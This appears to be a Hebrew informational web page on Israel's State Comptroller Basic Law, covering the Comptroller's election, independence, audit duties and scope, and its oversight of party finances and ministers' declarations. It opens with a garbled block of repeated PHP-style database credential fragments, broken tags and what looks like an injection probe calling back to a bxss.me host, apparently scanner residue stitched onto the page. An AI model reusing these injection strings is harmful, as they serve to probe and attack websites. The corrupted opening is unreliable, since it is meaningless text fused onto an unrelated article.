$db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1ySf9n9nO"; ?> $db_host = "1" $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "19342244"; ?> ?>acker-9434/log.php?"; ?>{acx}}%>"; ?> $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> ?> $db_name = "1"; ?>b_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> ?>>'hitvtgywpoinqc09d0.bxss.me')")"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> ?>
חוק יסוד המבקר
חוק יסוד מבקר המדינה, משנת התשמ"ח- 1988, קובע את מעמדה של ביקורת המדינה בישראל. חוק זה, משתלב עם חוקי היסוד האחרים, ומבסס את מעמדו החוקתי של מבקר המדינה ועצמאותו כמבקר אל מול הגופים המבוקרים.
מבקר המדינה נבחר על ידי הכנסת בהצבעה חשאית לתקופת כהונה אחת בת שבע שנים. במילוי תפקידיו אחראי המבקר בפני הכנסת בלבד ואינו תלוי בממשלה. בסמכות המבקר להחליט על הנושאים בהם תעסוק הביקורת לפי תוכנית שנתית. יש מקרים בהם הוועדה לענייני ביקורת המדינה, הכנסת או הממשלה, מבקשות מהמבקר להגיש חוות דעת. המבקר מגיש את תקציב משרדו לאישור ועדת הכספים של הכנסת. תקציב המבקר נבדק ומאושר לבסוף , ללא קשר לתקציב המדינה. את דוח ביצוע על התקציב שאושר מגיש המבקר לוועדה לענייני ביקורת המדינה. עצמאות המבקר באה לביטוי גם בקביעת תנאי שכר של עובדי משרדו, גיוס עובדים ופיטוריהם במקרה הצורך.
תפקידי המבקר
לפי אתר מבקר המדינה, הביקורת נבדלת במעמדה, מטרותיה ושיטותיה לעומת ביקורת ציבורית אחרת. הביקורת מוגדרת כאיסוף נתונים על פעולות הגופים המבוקרים ובחינתם לאור נורמות מחייבות. תהליך הביקורת מוגדר באתר המבקר כתהליך של הערכה בלתי תלויה של פעולות המדינה על מוסדותיה ותאגידיה.
מבקר המדינה, עושה ביקורת חיצונית על מגוון פעולותיהם של מינהל המדינה וגופים ציבוריים שונים, כדי להבטיח פיקוח על כספי ציבור ונשיאה באחריות במקרה של תקלות ויישום המלצות ומסקנות הביקורת. למבקר המדינה גישה בלתי מוגבלת לחשבונותיהם של כל הגופים הכפופים לביקורתו, לכל מסמכיהם וכן למאגרי המידע שלהם.
במסגרת תפקידו אמון המבקר על בדיקת ההיבטים העיקריים כדלקמן:
חוקיות וסדירות - המבקר בודק אם עובד ציבור שהורה לעשות שימוש בכספי ציבור למטרה כלשהי, פעל בהתאם להוראות החוק והנוהל המקנות לו את הסמכות לפעול כפי שפעל.
חסכון יעילות ואפקטיביות - בביקורת החיסכון נבדקות בעיקר התשומות שהושקעו בפעולה הנבדקת. בביקורת היעילות, נבדק היחס בין התשומות לתפוקות. בביקורת על האפקטיביות נבדק האם הושגו היעדים ברמת איכות התואמת לגודל ההשקעה בתשומות.
טוהר מידות - בהיבט זה נבדקת עמידתם של עובדי ציבור בנורמות ובכללי התנהגות מחייבים. לדוגמה: האם עובד הציבור פעל בניגוד עניינים, האם הפעיל שיקולים זרים, האם גילה משוא פנים וניצל לרעה את מעמדו. כללי ההתנהגות המצופים מעובדי הציבור אינם מוסדרים במערכת חוקים, בנהלים כתובים ובפסיקה. לכן, המבקר הוא זה שקובע את הנורמה הראויה שתשמש קו מנחה מחייב את עובדי הציבור שלא להפר אותו ולאל לחרוג ממנו.
היקף הביקורת
באתר המבקר נטען כי היקף הביקורת בישראל הוא מן הגדולים ביותר בעולם. ביקורת המדינה חלה על כל משרדי הממשלה, על מוסדות המדינה, על כל זרועות מערכת הביטחון (משרד הביטחון, צה"ל, התעשיות הצבאיות ואף היחידות החשאיות ביותר), ועל כל הרשויות המקומיות. עם הגופים העומדים לביקורת נמנות עשרות חברות ממשלתיות.
גוף מבוקר הוא גם כל גוף שהועמד לביקורת על פי חוק, על פי החלטת הכנסת או על פי הסכם בינו לבין הממשלה. גוף הנתמך בידי הממשלה גם הוא גוף מבוקר, אך הביקורת אינה מופעלת עליו, אלא אם כן החליטו על כך הוועדה לענייני ביקורת המדינה של הכנסת או המבקר, ובהיקף שהחליטו. עם אלה נמנים מוסדות ציבור גדולים, כגון האוניברסיטאות, קואופרטיבים לתחבורה ציבורית וכן גופים אחרים. המבקר רשאי להפעיל ביקורת גם על כל ארגון עובדים, ובלבד שהביקורת לא תופעל על פעילותו כאיגוד מקצועי.
נוסף על תפקידי הביקורת המתוארים לעיל הטיל המחוקק על מבקר המדינה לעסוק בשני עניינים נוספים:
ביקורת על ניהול ענייני הכספים של הסיעות והמפלגות לפי חוק מימון מפלגות, התשל"ג- 1973. החוק נועד בעיקר לרסן את הוצאותיהן ואת תלותן בתורמים בעלי עניין. במסגרת הביקורת מבקר המדינה בודק את ההוצאות וההכנסות של המפלגות בתקופת הבחירות לכנסת ולרשויות המקומיות והאם הם היו בגבולות התקרה שנקבעה בחוק.
במקרים בהם דוח מבקר המדינה אינו חיובי ומצביע על חריגות - יש בידי מבקר המדינה להטיל על המפלגות והסיעות קנסות כספיים.
מניעת ניגוד עניינים - לפי הכללים שקבעה הממשלה ב -1977, למניעת ניגוד עניינים בפעילותם של שרים וסגני שרים, על שרים וסגני שרים להגיש למבקר המדינה עם כניסתם לתפקיד, ומדי שנה בשנה, הצהרה על הכנסותיהם, על נכסיהם, על ההון שברשותם,על עיסוקיהם ועל תפקידים נוספים שהם ממלאים. הכללים מטילים עליהם חובות ומגבלות בנוגע לעניינים האמורים ועל מבקר המדינה הוטל לבדוק אם הם עומדים בהם.